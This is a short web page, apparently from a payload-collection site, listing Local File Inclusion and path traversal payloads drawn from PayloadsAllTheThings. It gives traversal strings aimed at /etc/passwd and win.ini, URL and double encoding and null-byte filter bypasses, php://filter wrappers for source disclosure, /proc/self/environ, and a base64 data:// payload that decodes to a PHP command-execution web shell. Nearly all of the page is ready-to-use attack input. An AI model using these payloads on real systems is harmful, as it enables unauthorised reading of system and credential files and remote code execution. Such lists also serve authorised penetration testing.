vulns.co
/
GKData.io MCP

Back to Payloads

LFI / Path Traversal

Read local files, then escalate. PHP wrappers turn LFI into source disclosure or RCE (log poisoning, php://filter chains). Later entries defeat filters via encoding and traversal padding.

Tags: lfi, traversal, php-wrappers, bypass

Controlled probes

  • ../../../../../../etc/passwd
  • ....//....//....//etc/passwd
  • ..%2f..%2f..%2fetc%2fpasswd
  • %252e%252e%252fetc%252fpasswd
  • /etc/passwd%00
  • ....\....\....\windows\win.ini
  • php://filter/convert.base64-encode/resource=index.php
  • php://filter/chain|convert.base64-encode/resource=/etc/passwd
  • data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==
  • /proc/self/environ

Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion